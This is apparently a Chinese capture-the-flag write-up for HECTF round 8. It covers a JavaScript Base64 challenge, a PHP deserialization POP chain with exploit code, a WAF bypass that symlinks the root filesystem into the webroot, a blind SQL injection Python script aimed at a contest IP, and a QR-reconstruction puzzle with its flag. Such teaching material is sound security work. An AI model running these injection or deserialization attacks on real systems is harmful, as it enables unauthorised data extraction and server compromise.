HECTF 第八届web&&misc
字数 1838 2025-08-11 21:26:09

HECTF 第八届Web&Misc题目解析与教学文档

1. Are u happy

题目概述

这是一个基于JavaScript的小游戏题目,主要考察代码审计和Base64解码能力。

解题步骤

  1. 代码审计:查看网页的JavaScript代码
  2. 发现线索:在JS代码中找到疑似Base64编码的字符串
  3. 解码:使用在线Base64解码工具对找到的字符串进行解码
  4. 获取flag:解码后直接得到flag

关键点

  • 仔细阅读JavaScript代码,寻找可疑的字符串
  • 识别Base64编码的特征(通常由A-Za-z0-9+/=组成)
  • 使用可靠的Base64解码工具

2. baby_unserialize

题目概述

这是一道PHP反序列化漏洞利用题目,考察反序列化漏洞链的构造和WAF绕过技巧。

代码分析

类结构分析

  1. User类

    • __destruct():析构函数中会检查token是否为"admin"
    • __wakeup():将token重置为"guest"
    • check():验证token是否为"admin"
  2. class00类

    • __call():当调用不存在的方法时返回1
    • __set():当给不存在的属性赋值时,会执行赋值的函数
  3. class01类

    • __toString():当对象被当作字符串使用时触发
    • 内部会调用cls->func1()并检查返回值
  4. class02类

    • __invoke():当对象被当作函数调用时触发
    • 包含命令执行功能,但有严格的黑名单过滤

漏洞利用链(POP链)构造

  1. 从User类的__destruct()开始
  2. 通过设置token="admin"绕过check
  3. msg设置为class01对象
  4. 在class01中设置cls为class00对象
  5. 设置str3为class02对象
  6. 当class01被当作字符串使用时,触发__toString()
  7. __toString()中调用cls->func1()触发class00的__call()
  8. __call()返回1后,执行$this->cls->str1 = $this->str3
  9. 这触发class00的__set(),将class02对象作为函数调用
  10. class02的__invoke()被触发,执行命令

WAF绕过技巧

题目中的命令执行有严格过滤,但可以通过以下方式绕过:

  • 使用ln -s / /var/www/html/aaa创建符号链接
  • 这样可以绕过对直接文件访问的限制

完整利用代码

$a = new User(1, 1);
$a->token = 'admin';
$a->msg = new class01();
$a->msg->cls = new class00();
$a->msg->str3 = new class02();
echo(serialize($a));

3. baby_sql

题目概述

这是一道SQL注入题目,考察绕过过滤的技巧和盲注技术。

已知信息

  • 账号为admin
  • 可以使用万能密码登录
  • 查询页面存在SQL注入漏洞

过滤规则

  • 过滤了=、空格、information等关键词

绕过技巧

  • 使用/**/代替空格
  • 使用like代替=
  • 避免使用被过滤的关键词

自动化注入脚本

import requests

url = 'http://8.153.107.251:31865/worker.php'
success_mark = 'g01den员工今天打了卡'

# 获取数据库名长度
def GetDBNameLength(url):
    length = 0
    print("开始获取数据库名长度...")
    for l in range(1, 99):
        payload = f"g01den'/**/and/**/length((select/**/database()))/**/like/**/{l}#"
        data = {'name': payload}
        res = requests.post(url, data=data)
        if success_mark in res.content.decode("utf-8"):
            print(f"数据库名长度为:{l}")
            length = l
            break
    return length

# 获取数据库名
def GetDBName(url):
    DBName = ''
    length = GetDBNameLength(url)
    print(f"数据库名长度:{length}")
    print("开始获取数据库名...")
    for i in range(1, length+1):
        for j in range(33, 127):
            payload = f"g01den'/**/and/**/ascii(substr((select/**/database()),{i},1))/**/like/**/{j}#"
            data = {'name': payload}
            res = requests.post(url, data=data)
            if success_mark in res.content.decode("utf-8"):
                DBName += chr(j)
                print(DBName)
                break
    return DBName

# 主程序
if __name__ == '__main__':
    db_name = GetDBName(url)
    print(f"数据库名是:{db_name}")

注意事项

  • 脚本中使用了/**/代替空格
  • 使用like代替=进行条件判断
  • 通过逐字符爆破的方式获取数据

4. Misc Rem_You

题目概述

这是一道杂项题目,考察文件恢复、图片拼接和编码解码能力。

解题步骤

  1. 文件恢复

    • 使用foremost工具从给定文件中恢复出压缩包
    • 解压恢复出的压缩包
  2. 图片处理

    • 解压后得到被分割成9块的二维码
    • 根据每张图片的白边进行拼接
    • 注意二维码的定位图案(三个角落的大方块)
  3. 解码

    • 使用扫码工具扫描拼接好的二维码
    • 得到一串编码
    • 使用Base32解码得到flag

关键工具

  • foremost:文件恢复工具
  • 图片编辑软件:用于拼接二维码碎片
  • 二维码扫描工具
  • Base32解码工具

最终flag

HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP}

总结

本次HECTF比赛中的Web和Misc题目涵盖了多个知识点:

  1. JavaScript代码审计和Base64解码
  2. PHP反序列化漏洞链构造和WAF绕过
  3. SQL注入绕过技巧和盲注技术
  4. 文件恢复、图片处理和编码解码技术

每道题目都需要仔细分析题目给出的信息,理解过滤规则,并找到合适的绕过方法。对于反序列化题目,理解PHP魔术方法的触发条件和对象之间的交互是关键;对于SQL注入,需要灵活运用各种绕过技巧;对于Misc题目,则需要熟悉各种工具的使用方法。

HECTF 第八届Web&Misc题目解析与教学文档 1. Are u happy 题目概述 这是一个基于JavaScript的小游戏题目,主要考察代码审计和Base64解码能力。 解题步骤 代码审计 :查看网页的JavaScript代码 发现线索 :在JS代码中找到疑似Base64编码的字符串 解码 :使用在线Base64解码工具对找到的字符串进行解码 获取flag :解码后直接得到flag 关键点 仔细阅读JavaScript代码,寻找可疑的字符串 识别Base64编码的特征(通常由A-Za-z0-9+/=组成) 使用可靠的Base64解码工具 2. baby_ unserialize 题目概述 这是一道PHP反序列化漏洞利用题目,考察反序列化漏洞链的构造和WAF绕过技巧。 代码分析 类结构分析 User类 : __destruct() :析构函数中会检查token是否为"admin" __wakeup() :将token重置为"guest" check() :验证token是否为"admin" class00类 : __call() :当调用不存在的方法时返回1 __set() :当给不存在的属性赋值时,会执行赋值的函数 class01类 : __toString() :当对象被当作字符串使用时触发 内部会调用 cls->func1() 并检查返回值 class02类 : __invoke() :当对象被当作函数调用时触发 包含命令执行功能,但有严格的黑名单过滤 漏洞利用链(POP链)构造 从User类的 __destruct() 开始 通过设置 token="admin" 绕过check 将 msg 设置为class01对象 在class01中设置 cls 为class00对象 设置 str3 为class02对象 当class01被当作字符串使用时,触发 __toString() __toString() 中调用 cls->func1() 触发class00的 __call() __call() 返回1后,执行 $this->cls->str1 = $this->str3 这触发class00的 __set() ,将class02对象作为函数调用 class02的 __invoke() 被触发,执行命令 WAF绕过技巧 题目中的命令执行有严格过滤,但可以通过以下方式绕过: 使用 ln -s / /var/www/html/aaa 创建符号链接 这样可以绕过对直接文件访问的限制 完整利用代码 3. baby_ sql 题目概述 这是一道SQL注入题目,考察绕过过滤的技巧和盲注技术。 已知信息 账号为admin 可以使用万能密码登录 查询页面存在SQL注入漏洞 过滤规则 过滤了 = 、空格、 information 等关键词 绕过技巧 使用 /**/ 代替空格 使用 like 代替 = 避免使用被过滤的关键词 自动化注入脚本 注意事项 脚本中使用了 /**/ 代替空格 使用 like 代替 = 进行条件判断 通过逐字符爆破的方式获取数据 4. Misc Rem_ You 题目概述 这是一道杂项题目,考察文件恢复、图片拼接和编码解码能力。 解题步骤 文件恢复 : 使用 foremost 工具从给定文件中恢复出压缩包 解压恢复出的压缩包 图片处理 : 解压后得到被分割成9块的二维码 根据每张图片的白边进行拼接 注意二维码的定位图案(三个角落的大方块) 解码 : 使用扫码工具扫描拼接好的二维码 得到一串编码 使用Base32解码得到flag 关键工具 foremost :文件恢复工具 图片编辑软件:用于拼接二维码碎片 二维码扫描工具 Base32解码工具 最终flag HECTF{uV3xxc7S8iyBNTxtfxvPrO7RFE3gLpro9a3AW2KP} 总结 本次HECTF比赛中的Web和Misc题目涵盖了多个知识点: JavaScript代码审计和Base64解码 PHP反序列化漏洞链构造和WAF绕过 SQL注入绕过技巧和盲注技术 文件恢复、图片处理和编码解码技术 每道题目都需要仔细分析题目给出的信息,理解过滤规则,并找到合适的绕过方法。对于反序列化题目,理解PHP魔术方法的触发条件和对象之间的交互是关键;对于SQL注入,需要灵活运用各种绕过技巧;对于Misc题目,则需要熟悉各种工具的使用方法。